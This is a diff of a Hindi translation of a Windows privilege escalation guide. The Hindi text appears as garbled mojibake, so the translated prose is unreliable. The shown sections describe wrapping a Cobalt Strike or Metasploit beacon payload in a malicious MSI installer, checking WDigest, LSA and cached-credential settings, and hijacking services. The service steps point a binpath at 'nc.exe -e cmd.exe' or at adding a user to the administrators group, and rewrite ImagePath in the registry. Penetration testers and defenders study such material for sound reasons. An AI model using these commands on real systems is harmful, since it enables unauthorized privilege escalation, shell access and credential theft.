**рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ** рдХреЛ **рдХрд╛рд░реНрдпрдиреНрд╡рд┐рдд** рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред +рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЗрд╕ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ MSI wrapper рдХреИрд╕реЗ рдмрдирд╛рдПрдВ, рдпрд╣ рдЬрд╛рди рд╕рдХреЗрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдПрдХ "**.bat**" рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рдкреЗрдЯ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк **рдмрд╕** **рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ** рдХреЛ **рдХрд╛рд░реНрдпрдиреНрд╡рд┐рдд** рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред {{#ref}} msi-wrapper.md @@ -245,20 +245,20 @@ create-msi-with-wix.md ### Visual Studio рдХреЗ рд╕рд╛рде MSI рдмрдирд╛рдПрдВ -- **Cobalt Strike** рдпрд╛ **Metasploit** рдХреЗ рд╕рд╛рде рдПрдХ **рдирдпрд╛ Windows EXE TCP payload** рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ `C:\privesc\beacon.exe` рдореЗрдВ +- **Cobalt Strike** рдпрд╛ **Metasploit** рдХреЗ рд╕рд╛рде рдПрдХ **рдирдпрд╛ Windows EXE TCP payload** `C:\privesc\beacon.exe` рдореЗрдВ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВред - **Visual Studio** рдЦреЛрд▓реЗрдВ, **Create a new project** рдЪреБрдиреЗрдВ рдФрд░ рдЦреЛрдЬ рдмреЙрдХреНрд╕ рдореЗрдВ "installer" рдЯрд╛рдЗрдк рдХрд░реЗрдВред **Setup Wizard** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЪреБрдиреЗрдВ рдФрд░ **Next** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред -- рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рдирд╛рдо рджреЗрдВ, рдЬреИрд╕реЗ **AlwaysPrivesc**, рд╕реНрдерд╛рди рдХреЗ рд▓рд┐рдП **`C:\privesc`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, **solution рдФрд░ project рдХреЛ рдПрдХ рд╣реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд░рдЦреЗрдВ** рдЪреБрдиреЗрдВ, рдФрд░ **Create** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред +- рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рдирд╛рдо рджреЗрдВ, рдЬреИрд╕реЗ **AlwaysPrivesc**, рд╕реНрдерд╛рди рдХреЗ рд▓рд┐рдП **`C:\privesc`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, **place solution and project in the same directory** рдЪреБрдиреЗрдВ, рдФрд░ **Create** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред - **Next** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд░рд╣реЗрдВ рдЬрдм рддрдХ рдЖрдк 4 рдореЗрдВ рд╕реЗ 3 рдЪрд░рдг рдкрд░ рдирд╣реАрдВ рдкрд╣реБрдБрдЪрддреЗ (рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪреБрдиреЗрдВ)ред **Add** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЙрд╕ Beacon payload рдХреЛ рдЪреБрдиреЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдЕрднреА рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рд╣реИред рдлрд┐рд░ **Finish** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред - **Solution Explorer** рдореЗрдВ **AlwaysPrivesc** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХрд░реЗрдВ рдФрд░ **Properties** рдореЗрдВ, **TargetPlatform** рдХреЛ **x86** рд╕реЗ **x64** рдореЗрдВ рдмрджрд▓реЗрдВред - рдЕрдиреНрдп рдЧреБрдг рднреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ **Author** рдФрд░ **Manufacturer** рдЬреЛ рд╕реНрдерд╛рдкрд┐рдд рдРрдк рдХреЛ рдЕрдзрд┐рдХ рд╡реИрдз рджрд┐рдЦрд╛ рд╕рдХрддреЗ рд╣реИрдВред - рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ **View > Custom Actions** рдЪреБрдиреЗрдВред - **Install** рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ **Add Custom Action** рдЪреБрдиреЗрдВред -- **Application Folder** рдкрд░ рдбрдмрд▓-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, рдЕрдкрдиреА **beacon.exe** рдлрд╝рд╛рдЗрд▓ рдЪреБрдиреЗрдВ рдФрд░ **OK** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдЧрд╛ рдХрд┐ beacon payload рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдЪрд▓рдиреЗ рдкрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛред +- **Application Folder** рдкрд░ рдбрдмрд▓-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, рдЕрдкрдиреЗ **beacon.exe** рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ **OK** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдЧрд╛ рдХрд┐ beacon payload рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдЪрд▓рдиреЗ рдкрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛред - **Custom Action Properties** рдХреЗ рддрд╣рдд, **Run64Bit** рдХреЛ **True** рдореЗрдВ рдмрджрд▓реЗрдВред - рдЕрдВрдд рдореЗрдВ, **build it**ред - рдпрджрд┐ рдЪреЗрддрд╛рд╡рдиреА `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЛ x64 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реИред -### MSI Installation +### MSI рд╕реНрдерд╛рдкрдирд╛ **рдкреГрд╖реНрдарднреВрдорд┐** рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг `.msi` рдлрд╝рд╛рдЗрд▓ рдХреА **рд╕реНрдерд╛рдкрдирд╛** рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: ``` @@ -295,10 +295,10 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA Protection +### LSA рд╕реБрд░рдХреНрд╖рд╛ -**Windows 8.1** рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, Microsoft рдиреЗ Local Security Authority (LSA) рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢ рдХреА рд╣реИ рддрд╛рдХрд┐ **рдЕрдиреНрдпрдерд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ** рджреНрд╡рд╛рд░рд╛ рдЗрд╕рдХреА **рдореЗрдореЛрд░реА** рдХреЛ **рдкрдврд╝рдиреЗ** рдпрд╛ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ **рдмреНрд▓реЙрдХ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдмрдврд╝ рдЧрдИ рд╣реИред\ -[**LSA Protection рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ**](../stealing-credentials/credentials-protections.md#lsa-protection). +**Windows 8.1** рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, Microsoft рдиреЗ рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг (LSA) рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢ рдХреА рд╣реИ рддрд╛рдХрд┐ **рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ** рджреНрд╡рд╛рд░рд╛ рдЗрд╕рдХреА **рдореЗрдореЛрд░реА** рдХреЛ **рдкрдврд╝рдиреЗ** рдпрд╛ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ **рдмреНрд▓реЙрдХ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдмрдврд╝ рдЧрдИ рд╣реИред\ +[**LSA рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` @@ -310,7 +310,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг** (LSA) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдШрдЯрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдм рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд▓реЙрдЧрд┐рди рдбреЗрдЯрд╛ рдПрдХ рдкрдВрдЬреАрдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЖрдорддреМрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред\ +**рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд▓реЛрдХрд▓ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдЕрдереЙрд░рд┐рдЯреА** (LSA) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдШрдЯрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдм рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд▓реЙрдЧрд┐рди рдбреЗрдЯрд╛ рдПрдХ рдкрдВрдЬреАрдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЖрдорддреМрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред\ [**Cached Credentials рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -319,7 +319,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumerate Users & Groups -рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЬрд┐рди рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╣реИрдВ, рдЙрдирдореЗрдВ рдХреЛрдИ рджрд┐рд▓рдЪрд╕реНрдк рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВред +рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЬрд┐рди рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╣реИрдВ, рдЙрдирдореЗрдВ рдХреЛрдИ рджрд┐рд▓рдЪрд╕реНрдк рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ ```bash # CMD net users %username% #Me @@ -345,7 +345,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### Token manipulation **рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ** рдХрд┐ **token** рдХреНрдпрд╛ рд╣реИ рдЗрд╕ рдкреГрд╖реНрда рдкрд░: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ **рджрд┐рд▓рдЪрд╕реНрдк tokens** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ: +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ **рджрд┐рд▓рдЪрд╕реНрдк tokens рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ** рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ: {{#ref}} privilege-escalation-abusing-tokens.md @@ -357,7 +357,7 @@ qwinsta klist sessions ``` ### рд╣реЛрдо рдлрд╝реЛрд▓реНрдбрд░ -```powershell +```bash dir C:\Users Get-ChildItem C:\Users ``` @@ -374,7 +374,7 @@ powershell -command "Get-Clipboard" ### рдлрд╝рд╛рдЗрд▓ рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддреЗ рд╕рдордп **рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ**ред\ -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдХреБрдЫ рдмрд╛рдЗрдирд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╛ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕рдВрднрд╛рд╡рд┐рдд [**DLL Hijacking рд╣рдорд▓реЛрдВ**](dll-hijacking/index.html) рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдирд░реА рдлрд╝реЛрд▓реНрдбрд░ рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ: +рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдХреБрдЫ рдмрд╛рдЗрдирд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╛ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдмрд╛рдЗрдирд░реА рдлрд╝реЛрд▓реНрдбрд░ рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд [**DLL Hijacking рд╣рдорд▓реЛрдВ**](dll-hijacking/index.html) рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -385,7 +385,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╛рд╡рд┐рдд [**electron/cef/chromium debuggers** рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╛рд╡рд┐рдд [**electron/cef/chromium debuggers** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ, рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рдЗрдирд░реА рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛** ```bash @@ -435,7 +435,7 @@ sc qc ```bash accesschk.exe -ucqv #Check rights for different groups ``` -рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ "Authenticated Users" рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ "Authenticated Users" рдХрд┐рд╕реА рднреА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -464,7 +464,7 @@ sc.exe config usosvc start= auto ``` ### **рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдкрде рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ** -рдЙрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рдЬрд╣рд╛рдБ "рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рд╕рдореВрд╣ рдХреЗ рдкрд╛рд╕ рдПрдХ рд╕реЗрд╡рд╛ рдкрд░ **SERVICE_ALL_ACCESS** рд╣реИ, рд╕реЗрд╡рд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред **sc** рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: +рдЙрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рдЬрд╣рд╛рдВ "рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рд╕рдореВрд╣ рдХреЗ рдкрд╛рд╕ рдПрдХ рд╕реЗрд╡рд╛ рдкрд░ **SERVICE_ALL_ACCESS** рд╣реИ, рд╕реЗрд╡рд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред **sc** рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -479,9 +479,9 @@ net stop [service name] && net start [service name] ``` Privileges can be escalated through various permissions: -- **SERVICE_CHANGE_CONFIG**: рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **WRITE_DAC**: рдЕрдиреБрдорддрд┐ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдорд┐рд▓рддреА рд╣реИред -- **WRITE_OWNER**: рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдФрд░ рдЕрдиреБрдорддрд┐ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **SERVICE_CHANGE_CONFIG**: рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреА рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **WRITE_DAC**: рдЕрдиреБрдорддрд┐ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдорд┐рд▓рддреА рд╣реИред +- **WRITE_OWNER**: рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдФрд░ рдЕрдиреБрдорддрд┐ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - **GENERIC_WRITE**: рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИред - **GENERIC_ALL**: рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рднреА рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИред @@ -516,13 +516,13 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " ``` рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ **Authenticated Users** рдпрд╛ **NT AUTHORITY\INTERACTIVE** рдХреЗ рдкрд╛рд╕ `FullControl` рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред рдпрджрд┐ рд╣рд╛рдБ, рддреЛ рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдмрд╛рдЗрдирд░реА рдХреЛ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдмрд╛рдЗрдирд░реА рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкрде рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП: +рдмрд╛рдЗрдирд░реА рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдкрде рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Services registry AppendData/AddSubdirectory permissions -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ 